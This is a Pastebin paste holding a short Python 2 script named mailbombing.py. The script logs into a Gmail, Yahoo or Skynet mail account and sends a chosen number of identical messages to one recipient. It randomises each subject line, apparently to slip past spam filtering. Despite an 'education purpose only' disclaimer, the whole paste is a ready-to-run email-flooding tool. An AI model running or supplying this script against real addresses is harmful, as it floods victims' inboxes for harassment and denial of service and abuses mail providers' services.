Advertisement
Guest User

Untitled

a guest
Feb 4th, 2017
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. #!/usr/bin/python
  2. #mailbombing.py by souhail ghostman
  3. #facebook https://www.facebook.com/souhail.marhag
  4. #This code for education purpose only.
  5. #Use it at your own risk !!!
  6.  
  7. import os
  8. import smtplib
  9. import getpass
  10. import sys
  11.  
  12.  
  13. server = raw_input ('Server Mail: ')
  14. user = raw_input('Username: ')
  15. passwd = getpass.getpass('Password: ')
  16.  
  17.  
  18. to = raw_input('\nTo: ')
  19. #subject = raw_input('Subject: ')
  20. body = raw_input('Message: ')
  21. total = input('Number of send: ')
  22.  
  23. if server == 'gmail':
  24. smtp_server = 'smtp.gmail.com'
  25. port = 587
  26. elif server == 'yahoo':
  27. smtp_server = 'smtp.mail.yahoo.com'
  28. port = 25
  29. elif server == 'skynet':
  30. smtp_server = 'relay.skynet.be'
  31. port = 25
  32. else:
  33. print 'Applies only to gmail, skynet and yahoo.'
  34. sys.exit()
  35.  
  36. print ''
  37.  
  38. try:
  39. server = smtplib.SMTP(smtp_server,port)
  40. server.ehlo()
  41. if smtp_server == "smtp.gmail.com":
  42. server.starttls()
  43. server.login(user,passwd)
  44. for i in range(1, total+1):
  45. subject = os.urandom(9)
  46. msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  47. server.sendmail(user,to,msg)
  48. print "\rTotal emails sent: %i" % i
  49. sys.stdout.flush()
  50. server.quit()
  51. print '\n Done !!!'
  52. except KeyboardInterrupt:
  53. print '[-] Canceled'
  54. sys.exit()
  55. except smtplib.SMTPAuthenticationError:
  56. print '\n[!] The username or password you entered is incorrect.'
  57. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement